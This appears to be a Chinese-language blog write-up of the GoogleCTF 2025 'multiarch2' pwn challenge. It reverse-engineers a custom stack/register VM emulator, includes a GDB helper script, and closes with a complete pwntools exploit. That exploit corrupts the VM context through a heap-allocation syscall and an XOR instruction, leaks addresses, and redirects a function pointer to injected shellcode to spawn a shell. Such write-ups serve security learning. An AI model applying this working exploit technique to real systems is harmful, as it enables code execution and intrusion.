GoogleCTF 2025 | multiarch2

GoogleCTF 2025 | multiarch2

Tue Jul 22 2025 Pin
3163 words · 26 minutes

Preface

本题是一个不错的 PWN 题,主要难点在逆向上面。拥有 VM 逆向基础阅读更佳。

Analysis

可以看到启动服务的脚本 runner.py 文件比较简单。先是询问并获取上传文件大小,随后获取文件内容。最后调用 multiarch 运行。

import os
import signal
import sys
import tempfile
TIMEOUT = 30
MULTIARCH_PATH = "/home/user/multiarch"
def sigalrm(*_):
print("Too slow!")
sys.exit(0)
signal.signal(signal.SIGALRM, sigalrm)
signal.alarm(TIMEOUT)
print("===[ Multiarch pwn-a-rizmo")
sz = input("How big is your program? ")
prog = sys.stdin.buffer.read(int(sz.strip()))
with tempfile.NamedTemporaryFile() as tf:
with open(tf.name, "wb") as f:
f.write(prog)
print("running! " + tf.name)
os.system(f"timeout {TIMEOUT} {MULTIARCH_PATH} {tf.name} 2>&1")
print("done!")

再看可执行文件整体代码结构。在 main 函数中,通过审计输出交互信息大致可以确定出一些无符号函数的大致作用。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
void *v3; // rax
__int64 v4; // rbp
_BYTE *v5; // rbx
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( a1 <= 1 )
{
fprintf(stderr, "[E] usage: %s [path to .masm file]\n", *a2);
return 2LL;
}
else
{
fwrite("[I] initializing multiarch emulator\n", 1uLL, 0x24uLL, stderr);
v3 = initialize(a2[1]);
v4 = (__int64)v3;
if ( v3 )
{
v5 = (_BYTE *)sub_1319(v3);
fwrite("[I] executing program\n", 1uLL, 0x16uLL, stderr);
while ( (unsigned __int8)execute(v5) );
if ( v5[48] )
{
fwrite("[E] execution failed\n", 1uLL, 0x15uLL, stderr);
sub_2A1E(v5, 1LL);
}
else
{
fwrite("[I] done!\n", 1uLL, 0xAuLL, stderr);
}
// 善后
sub_1427(v5);
sub_2D8D(v4);
return 0LL;
}
else
{
fwrite("[E] couldn't load multiarch program\n", 1uLL, 0x24uLL, stderr);
return 1LL;
}
}
}

粗略阅读 initialize() 函数,可以发现需要给定文件的魔术头 (magic) 只能为 MASM。非常警觉的可以猜测应该是某种 ASM 解析执行的过程。当然进一步通过阅读 sub_2B01() 通过交互信息可以快速判断出改函数主要是加载 segment 并将 3 个 segment 信息 (segment 首地址、segment 大小) 记录在 seginfo_records 中。

_QWORD *__fastcall initialize(const char *filename)
{
FILE *file_dsp; // rax
FILE *file_dsp_1; // rbx
_QWORD *seginfo_records; // rbp
int *v5; // rax
char *error_msg; // rax
int *v7; // rax
char *v8; // rax
__int64 magic[7]; // [rsp+0h] [rbp-38h] BYREF
magic[3] = __readfsqword(0x28u);
file_dsp = fopen(filename, "r");
file_dsp_1 = file_dsp;
if ( !file_dsp )
{
v5 = __errno_location();
error_msg = strerror(*v5);
fprintf(stderr, "[E] couldn't open file %s - %s\n", filename, error_msg);
return 0LL;
}
magic[0] = 0LL;
magic[1] = 0LL;
if ( fread(magic, 1uLL, 4uLL, file_dsp) != 4 )
{
v7 = __errno_location();
v8 = strerror(*v7);
fprintf(stderr, "[E] couldn't read magic - %s\n", v8);
LABEL_9:
fclose(file_dsp_1);
return 0LL;
}
if ( strncmp((const char *)magic, "MASM", 4uLL) )
{
fwrite("[E] bad magic\n", 1uLL, 0xEuLL, stderr);
goto LABEL_9;
}
seginfo_records = calloc(1uLL, 0x30uLL);
if ( !(unsigned __int8)load_segment(seginfo_records, 4LL, file_dsp_1)
|| !(unsigned __int8)load_segment(seginfo_records, 9LL, file_dsp_1)
|| !(unsigned __int8)load_segment(seginfo_records, 14LL, file_dsp_1) )
{
if ( seginfo_records )
sub_2D8D((__int64)seginfo_records);
goto LABEL_9;
}
return seginfo_records;
}

然后在看看 execute 函数的流程,并且通过 Strings 窗口定位到引用 ---[ PC=0x%08x SP=0x%08x | A=0x%08x B=0x%08x C=0x%08x D=0x%08x 的代码块:

unsigned __int64 __fastcall status(__int64 a1, char a2)
{
int i; // ebp
unsigned int v4; // r12d
const char *v5; // rsi
unsigned int v6; // [rsp+Ch] [rbp-44h] BYREF
unsigned __int64 v7; // [rsp+10h] [rbp-40h]
v7 = __readfsqword(0x28u);
printf(
" ---[ PC=0x%08x SP=0x%08x | A=0x%08x B=0x%08x C=0x%08x D=0x%08x\n",
*(unsigned int *)(a1 + 0x33),
*(unsigned int *)(a1 + 0x37),
*(unsigned int *)(a1 + 0x3B),
*(unsigned int *)(a1 + 0x3F),
*(unsigned int *)(a1 + 0x43),
*(unsigned int *)(a1 + 0x47));
if ( a2 )
{
puts(" ---[ STACK CONTENTS");
for ( i = -8; i != 20; i += 4 )
{
v4 = *(_DWORD *)(a1 + 0x37) + i;
if ( !(unsigned __int8)LDP(a1, v4, &v6) )
break;
v5 = " ";
if ( *(_DWORD *)(a1 + 55) == v4 )
v5 = "* ";
printf("\t%s0x%08x 0x%08x\n", v5, v4, v6);
}
}
return v7 - __readfsqword(0x28u);
}

我们目前可以简单还原出如下的结构题。

struct dynamicMemoryInfo {
void *segment1; // 0x00
void *segment2; // 0x08
void *mmap_addr; // 0x10
void *segment3; // 0x18
uint64_t segment3_size; // 0x20
void (*func)(void); // 0x28
uint8_t error_flags; // 0x30
uint8_t padding2; // 0x31
uint8_t jmp_flags; // 0x32
uint32_t pc; // 0x33
uint32_t sp; // 0x37
uint32_t reg[4]; // 0x3b
uint8_t padding3[0x88 - 0x4b]; // 0x4b
} __attribute__((packed)); // sizeof(dynamicMemoryInfo) = 0x88

然后我们可以进一步详细分析 execute 函数。通过输出信息我们大致可以判断操作的类别分为 stack 和 reg。

__int64 __fastcall execute(__int64 dynmeminfo)
{
unsigned __int8 v1; // al
v1 = sub_17DA(dynmeminfo);
if ( !v1 ) // v1 == 0
return stack(dynmeminfo);
if ( v1 == 1 )
return reg(dynmeminfo);
fwrite("[E] nice qubit\n", 1uLL, 0xFuLL, stderr);
return 0LL;
}

在阅读 stack 函数中我们可以获取得到如下的指令体系:

  1. 0x10 - LDB/push8
  2. 0x20 - LDW/push16
  3. 0x30 - push32
  4. 0x40 - LDP - 立即数
  5. 0x50 - LDPSp/pop32 - 从栈上读
  6. 0x60 - add
  7. 0x61 - sub
  8. 0x62 - xor
  9. 0x63 - and
  10. 0x70 - ret/goto
  11. 0x71 - jz
  12. 0x72 - jn
  13. 0x80 - cmp
  14. 0xA0 - syscall 系统 - 需要 reg[0] = 6 && syscall_priority = 1
  • 0 readint I; push I
  • 1 not supported
  • 2 pop s,n; fwrite(stdout,s,n)
  • 3 pop seed; srand(seed)
  • 4 push rand() + (rand() << 16)
  • 5 call get_flag
  • 6 calloc heap
  1. 0xFF - HLT

这足以使得我们恢复出 struct dynamicMemoryInfo 及其相关结构体:

struct heapSegmentInfo {
void *heap_addr;
uint32_t vmem_addr;
} __attribute__((packed));
struct dynamicMemoryInfo {
void *segment1; // 0x00
void *segment2; // 0x08
void *mmap_addr; // 0x10
void *segment3; // 0x18
uint64_t segment3_size; // 0x20
void (*func)(void); // 0x28
uint8_t error_flags; // 0x30
uint8_t syscall_priority; // 0x31
uint8_t jmp_flags; // 0x32
uint32_t pc; // 0x33
uint32_t sp; // 0x37
uint32_t reg[4]; // 0x3b
heapSegmentInfo heap_segment_array[5]; // 0x4b
uint8_t heap_segment_array_cnt;
} __attribute__((packed)); // sizeof(dynamicMemoryInfo) = 0x88

在阅读 reg 函数中我们可以获取得到如下的指令体系:

  1. 0x00 - 正常结束
  2. 0x01 - syscall
    • 0 - read 1 byte
    • 1 - input(memory[reg[1]:reg[1]+reg[2]])←fgetc 循环,换行符结束/read n bytes。memory 不清楚
    • 2 - fwrite(&memory[reg[1]], 1, reg[2], stdout);memory 不清楚
    • 3 - srand(reg[1])
    • 4 - reg[0] = (rand()&0xFFFF) | (rand()<<16)
    • 5 - unsupported
    • 6 - reg[0] = vmem_addr
  3. 0x10 - push32(imm)
  4. 0x11:push32(reg[0]);
  5. 0x12:push32(reg[1]);
  6. 0x13:push32(reg[2]);
  7. 0x14:push32(reg[3]);
  8. 0x15:reg[0]=pop32();
  9. 0x16:reg[1]=pop32();
  10. 0x17 - reg[2]=pop32();
  11. 0x18:reg[3]=pop32();
  12. 0x20 - reg[((imm8 >> 4) - 1) & 3] = reg[(imm8 - 1) & 3]
  13. 0x21 - reg[((imm8>>4)-1) & 3] += imm32;
  14. 0x30 - reg[((imm8>>4)-1)&3] -= reg[(imm8-1)&3];
  15. 0x31 -
  • if ((imm8>>4)-1 <= 3) {reg[(imm8>>4)-1] -= operand32;}
  • else if ( (imm8>>4) == 5) {SP -= operand32;}
  1. 0x40 - reg[((operand>>4)-1)&3] ^= reg[(operand-1)&3];
  2. 0x41 - *(_DWORD *)((char *)&dynmeminfo->segment2 + 4 * v19 + 3) ^= imm32
  3. 0x50 - mul = reg[((operand>>4)-1)] * reg[(operand-&0xFF)&01]; reg[0]=mul&0xFFFFFFFF; reg[3]=(mul>>16)
  4. 0x51 - mul = reg[((operand>>4)+3)&3] * imm32; reg[0]=mul&0xFFFFFFFF; reg[3]=(mul>>16)
  5. 0x60 - push32(PC+4); goto operand;
  6. 0x61 - SP += 4*operand;PC=pop32();
  7. 0x62 - if (ZF!=0) {goto operand;}
  8. 0x63 - if (ZF==0) {goto operand;}
  9. 0x64:4 字节操作数。应为 jo 有效。if(OF!=0) {goto operand;}
  10. 0x68:4 字节操作数。本质上是一个 goto 指令goto operand
  11. 0x70~0x7F:cmp(reg[(opcode>>2)&3], reg[opecode&3]);
  12. 0x80~0x8F:操作数4字节。cmp(reg[opcode&3], operand);

然后还有一大堆的 0xC0 系列以及和 0xA0 相关的指令体系。因为简单的静态分析看不到特殊性,先搁置不管。而且 IDA Pro 8.3 反汇编这些指令体系时效果不佳。因此可能需要 Python 编写 GDB Debug Script 才能较好的分析。为此我编写了一个调试扩展脚本,这个脚本具有特殊性。因为我关注到 dynmeminfo 的首地址一直由 $rbx 寄存器保存。所以,我利用这个点编写了一个 GDB Extension Script。利用 source gdb-ex.py 导入调试脚本。使用 watch_dynamicMemoryInfo 启用普通模式,就是每执行一步就会输出结果。还可以使用 watch_dynamicMemoryInfo run 来启动自走模式,即当检测到结构体修改就停止并输出变化。

这个脚本需要自己下一个断点,不然直接 continue 命令会跑飞。

import gdb
import struct
# 结构体字段定义
fields = [
("segment1", 0x00, "Q"),
("segment2", 0x08, "Q"),
("mmap_addr", 0x10, "Q"),
("segment3", 0x18, "Q"),
("segment3_size", 0x20, "Q"),
("func", 0x28, "Q"),
("error_flags", 0x30, "B"),
("syscall_priority", 0x31, "B"),
("jmp_flags", 0x32, "B"),
("pc", 0x33, "I"),
("sp", 0x37, "I"),
("reg[0]", 0x3b, "I"),
("reg[1]", 0x3f, "I"),
("reg[2]", 0x43, "I"),
("reg[3]", 0x47, "I"),
# heapSegmentInfo[5]
("heap_segment_array[0].heap_addr", 0x4b, "Q"),
("heap_segment_array[0].vmem_addr", 0x53, "I"),
("heap_segment_array[1].heap_addr", 0x57, "Q"),
("heap_segment_array[1].vmem_addr", 0x5f, "I"),
("heap_segment_array[2].heap_addr", 0x63, "Q"),
("heap_segment_array[2].vmem_addr", 0x6b, "I"),
("heap_segment_array[3].heap_addr", 0x6f, "Q"),
("heap_segment_array[3].vmem_addr", 0x77, "I"),
("heap_segment_array[4].heap_addr", 0x7b, "Q"),
("heap_segment_array[4].vmem_addr", 0x83, "I"),
("heap_segment_array_cnt", 0x87, "B"),
]
SIZE_DYNAMIC_MEMORY_INFO = 0x88
last_values = {}
def read_struct(addr):
mem = gdb.selected_inferior().read_memory(addr, SIZE_DYNAMIC_MEMORY_INFO)
values = {}
for name, offset, fmt in fields:
size = struct.calcsize(fmt)
value = struct.unpack_from("<" + fmt, mem, offset)[0]
values[name] = value
return values
def print_struct(values, last=None):
for name, _, _ in fields:
value = values[name]
if last is not None and last.get(name) != value:
print(f"\033[1;31m{name}: {value:#x}\033[0m") # 红色高亮变化
else:
print(f"{name}: {value:#x}")
class WatchDynamicMemoryInfo(gdb.Command):
"""Watch dynamicMemoryInfo at $rbx and print on every stop.
Usage:
watch_dynamicMemoryInfo # 普通模式,stop时打印
watch_dynamicMemoryInfo run # 自动监控,内存变化时自动中断
watch_dynamicMemoryInfo stop # 关闭自动监控
"""
def __init__(self):
super().__init__("watch_dynamicMemoryInfo", gdb.COMMAND_USER)
self.enabled = False
self.auto_run = False
self.last = None
def invoke(self, arg, from_tty):
args = arg.strip().split()
if not args or args[0] == "":
# 普通模式
if not self.enabled:
print("Enable dynamicMemoryInfo monitoring (print on stop).")
self.enabled = True
gdb.events.stop.connect(self.on_stop)
else:
print("Disable dynamicMemoryInfo monitoring.")
self.enabled = False
gdb.events.stop.disconnect(self.on_stop)
elif args[0] == "run":
if not self.auto_run:
print("Enable auto-run monitoring: will stop when memory changes.")
self.auto_run = True
self.last = None
gdb.events.cont.connect(self.on_continue)
gdb.events.stop.connect(self.on_stop)
else:
print("Auto-run monitoring already enabled.")
elif args[0] == "stop":
if self.auto_run:
print("Disable auto-run monitoring.")
self.auto_run = False
try:
gdb.events.cont.disconnect(self.on_continue)
except Exception:
pass
else:
print("Auto-run monitoring not enabled.")
def on_stop(self, event):
if not (self.enabled or self.auto_run):
return
try:
rbx = int(gdb.parse_and_eval("$rbx"))
values = read_struct(rbx)
print("\n--- dynamicMemoryInfo @ $rbx ---")
print_struct(values, self.last)
self.last = values
except Exception as e:
print(f"Error reading dynamicMemoryInfo: {e}")
def on_continue(self, event):
# 在每次继续运行前,检查内存是否变化
if not self.auto_run:
return
try:
rbx = int(gdb.parse_and_eval("$rbx"))
values = read_struct(rbx)
if self.last is not None and values != self.last:
print("\n\033[1;33m[!] dynamicMemoryInfo changed, interrupting execution!\033[0m")
print_struct(values, self.last)
self.last = values
gdb.execute("interrupt", to_string=True)
else:
self.last = values
except Exception as e:
print(f"Error reading dynamicMemoryInfo: {e}")
WatchDynamicMemoryInfo()
debug example

通过这个脚本可以测试出来以下几个 0xC0 系列的指令:

  1. 0xC5 - reg[0] = imm32
  2. 0xCD - reg[1] = imm32

有了明确的指令功能,我们就能捋清楚大致的执行流程。有了结构体再回头看,会发现 segment3 应该是存放指令是 stackVM 还是 registerVM 的。当然还有一些之前存疑的地方也会豁然开朗,例如之前的 stackVM syscall 1 2 中的 memory 应该是 segment1/segment2/mmap_addr/heap_segment_array :

__int64 __fastcall sub_14B3(struct dynamicMemoryInfo *dynmeminfo, uint32_t a2, __int64 a3) {
unsigned __int64 v4; // rax
uint8_t heap_segment_array_cnt; // di
__int64 result; // rax
uint32_t *p_vmem_addr; // rcx
unsigned __int64 v8; // r10
uint32_t v9; // edx
if ( a2 <= 0xFFF )
goto LABEL_7;
v4 = a3 + a2;
if ( v4 <= 0x1FFF )
return (__int64)dynmeminfo->segment1 + a2 - 0x1000;
if ( a2 <= 0x1FFF )
goto LABEL_7;
if ( v4 <= 0x2FFF )
return (__int64)dynmeminfo->segment2 + a2 - 0x2000;
if ( a2 > 0x7FFF && v4 <= 0x8FFF )
return (__int64)dynmeminfo->mmap_addr + a2 - 0x8000;
LABEL_7:
heap_segment_array_cnt = dynmeminfo->heap_segment_array_cnt;
result = 0LL;
if ( heap_segment_array_cnt )
{
p_vmem_addr = &dynmeminfo->heap_segment_array[0].vmem_addr;
v8 = a3 + a2;
do
{
v9 = *p_vmem_addr;
if ( a2 >= *p_vmem_addr && v8 < v9 + 512 )
return (__int64)dynmeminfo->heap_segment_array[(int)result].heap_addr + a2 - v9;
LODWORD(result) = result + 1;
p_vmem_addr += 3;
}
while ( (_DWORD)result != heap_segment_array_cnt );
return 0LL;
}
return result;
}

此外的话,因为 stack 函数中的 syscall 系统存在调用自定义函数的作用。另外的话,本题的 VM 相较于其他的 VM 的特殊点就在于 stack 函数的 syscall 体系中给出了申请堆块的操作,以及 reg 函数中 0x41 操作对于 segment2 段落的修改功能。

通过调试可以发现 reg 流程中的 0x41 操作发现其实是在修改 dynamicMemoryInfo 结构的数据,一些调试数据:

gef> x/wx $rbx+$rax*4+0xb
0x56ac65ea299b: 0x00000000
gef> x/wx $rbx
0x56ac65ea2950: 0x2ad2c000
gef> p/x 0x56ac65ea2950^0x56ac65ea299b
$1 = 0xcb

通过计算,正常情况下刚好可以修改 reg 之后的数据。然后对这部分数据进行操作的目前有 stack VM 中 syscall 6 和 stackVM 0x41 操作。然后我们可以利用 regVM syscall 1/2 来操作 heap_segment_array。

Exploit

基于分析我们知道大体上攻击分为 6 步:

  1. 在 segment2 中放入 shellcode。
  2. 分配一个 heap_segment_arrary。
  3. 利用 stackVM syscall 6 篡改 heap_segment_array 的地址。
  4. 利用 regVM syscall 2 泄露 dynamicMemoryInfo。
  5. 利用 regVM syscall 1 篡改 dynamicMemoryInfo.func 为 segment2。
  6. 利用 stackVM syscall 5 调用 dynamicMemoryInfo.func 从而 getshell。
#!/usr/bin/env python3
import struct
import pwn
pwn.context.log_level = "debug"
pwn.context.terminal = ['tmux', 'splitw', '-h']
elf = pwn.ELF("./multiarch")
libc = elf.libc
pwn.context.os = elf.os
pwn.context.arch = elf.arch
pwn.context.binary = elf
MASM_FILE_NAME = "exploit.masm"
SIZE_DYNAMIC_MEMORY_INFO = 0x88 # 动态内存信息结构体大小
OFFSET_DYNAMIC_MEMORY_INFO_FUNCTION_POINTER = 0x28 # 函数指针的成员偏移
STACKVM_INST_SIZE = 5
STACKVM_INST_PUSH8 = pwn.p8(0x10)
STACKVM_INST_PUSH32 = pwn.p8(0x30)
STACKVM_INST_SYSCALL = pwn.p8(0xA0)
REGVM_INST_EXIT = pwn.p8(0x00)
REGVM_INST_SYSCALL = pwn.p8(0x01)
def create_exploit_file():
segment_text = bytearray()
segment_data: bytes = pwn.asm(pwn.shellcraft.amd64.linux.sh()) # type: ignore
segment_stack_reg_bits_list: list[bool] = [] # 0: Stack, 1:Reg
def validate_int8(value: int):
if value < 0 or value >= (1 << 8):
raise Exception(f"{value:08x} is Out of range!")
def validate_int16(value: int):
if value < 0 or value >= (1 << 16):
raise Exception(f"{value:08x} is Out of range!")
def validate_int32(value: int):
if value < 0 or value >= (1 << 32):
raise Exception(f"{value:08x} is Out of range!")
def append_as_stack_inst(data: bytes):
assert(len(data) == 5)
segment_text.extend(data)
segment_stack_reg_bits_list.extend([False] * len(data))
def append_as_reg_inst(data: bytes):
assert(len(data) > 0)
segment_text.extend(data)
segment_stack_reg_bits_list.extend([True] * len(data))
def push8(value: int):
validate_int8(value)
append_as_stack_inst(STACKVM_INST_PUSH8 + pwn.p32(value))
def push32(value: int):
validate_int32(value)
append_as_stack_inst(STACKVM_INST_PUSH32 + pwn.p32(value))
def vm_inst_syscall():
# syscall指令的参数先push
append_as_stack_inst(STACKVM_INST_SYSCALL + pwn.p32(0xDEADBEEF))
def set_register_A(value: int):
validate_int32(value)
append_as_reg_inst(pwn.p8(0xC5) + pwn.p32(value))
def set_register_B(value: int):
validate_int32(value)
append_as_reg_inst(pwn.p8(0xCD) + pwn.p32(value))
def set_register_C(value: int):
validate_int32(value)
append_as_reg_inst(pwn.p8(0xD5) + pwn.p32(value))
def set_register_D(value: int):
validate_int32(value)
append_as_reg_inst(pwn.p8(0xDD) + pwn.p32(value))
def push_register_A():
append_as_reg_inst(pwn.p8(0x11))
def pop_register_A():
append_as_reg_inst(pwn.p8(0x15))
def xor_dynamic_memory_info_field(index: int, value_to_xor: int):
validate_int8(index)
validate_int32(value_to_xor)
append_as_reg_inst(pwn.p8(0x41) + pwn.p8(index) + pwn.p32(value_to_xor))
def reg_inst_syscall():
append_as_reg_inst(pwn.p8(0x01))
def vm_syscall_1_input_string(addr_begin: int, size: int):
set_register_A(1)
set_register_B(addr_begin)
set_register_C(size)
reg_inst_syscall()
def vm_syscall_2_dump_memory(addr_begin: int, size: int):
set_register_A(2)
set_register_B(addr_begin)
set_register_C(size)
reg_inst_syscall()
def vm_syscall_5_call_function_pointer():
# stackVM syscall 5 的指令,调用函数指针
set_register_A(0)
push8(5)
vm_inst_syscall()
def vm_syscall_6_allocate(desired_address: int):
validate_int32(desired_address)
set_register_A(0) # StackVM时也验证RegisterA
push32(desired_address)
push8(6)
vm_inst_syscall()
# 结果的地址被push
def vm_exit():
data = REGVM_INST_EXIT
segment_text.extend(data)
segment_stack_reg_bits_list.extend([True] * len(data))
XOR_VALUE_TO_VMCONTEXT = 0x3d0
vm_syscall_6_allocate(0x2000)
xor_dynamic_memory_info_field(0x50, XOR_VALUE_TO_VMCONTEXT)
vm_syscall_2_dump_memory(0x3000, SIZE_DYNAMIC_MEMORY_INFO)
vm_syscall_1_input_string(0x3000 + OFFSET_DYNAMIC_MEMORY_INFO_FUNCTION_POINTER, 8)
vm_syscall_5_call_function_pointer()
vm_exit()
# 实际的文件写入等
assert(len(segment_text) == len(segment_stack_reg_bits_list))
segment_stack_reg_bits = bytearray()
bits_current = 0
for i, b in enumerate(segment_stack_reg_bits_list):
if b:
bits_current |= 1 << (i % 8)
if i == len(segment_stack_reg_bits_list) - 1 or i % 8 == 7:
segment_stack_reg_bits.append(bits_current)
bits_current = 0
with open(MASM_FILE_NAME, "wb") as f:
f.write(b"MASM")
HEADER_SIZE = 4 + (3 * 5) # 4 + 3 * 5 = 19
offset_data_current = HEADER_SIZE
f.write(pwn.p8(1))
f.write(pwn.p16(offset_data_current))
f.write(pwn.p16(len(segment_text)))
offset_data_current += len(segment_text)
f.write(pwn.p8(2))
f.write(pwn.p16(offset_data_current))
f.write(pwn.p16(len(segment_data)))
offset_data_current += len(segment_data)
f.write(pwn.p8(3))
f.write(pwn.p16(offset_data_current))
f.write(pwn.p16(len(segment_stack_reg_bits)))
f.write(segment_text)
f.write(segment_data)
f.write(segment_stack_reg_bits)
def solve(io: pwn.tube):
# syscall 2 输出VMContext
io.recvuntil(b"[I] executing program\n")
dynamic_memory_info = io.recvn(SIZE_DYNAMIC_MEMORY_INFO)
(
addr_segment1,
addr_segment2,
addr_mmap_addr,
addr_segment3,
segment3_size,
addr_function_pointer,
) = struct.unpack("<QQQQQQ", dynamic_memory_info[:0x30])
print(f"{addr_function_pointer = :016x}")
elf.address = addr_function_pointer - 0x12E0
print(f"{elf.address = :016x}")
# addr_test_to_overwrite = elf.address + 0x174A # [D] executing as system now # 函数指针写入确认用
payload = pwn.p64(addr_segment2)
assert(b"\n" not in payload) # 换行被视为终止符,不应该存在
io.send(payload)
io.interactive()
io.stream(line_mode=False)
# fmt: off
GDBSCRIPT = r"""
source gdb-ex.py
set show-tips off
set follow-fork-mode parent
handle SIGALRM nostop
break *$rebase(0x2416)
break *$rebase(0x196F)
"""
create_exploit_file()
# with pwn.gdb.debug([elf.path, MASM_FILE_NAME], GDBSCRIPT) as io: solve(io)
with pwn.process([elf.path, MASM_FILE_NAME]) as io: solve(io)

最终我们的执行结果如下:

get shell
Thanks for reading!

GoogleCTF 2025 | multiarch2

Tue Jul 22 2025 Pin
3163 words · 26 minutes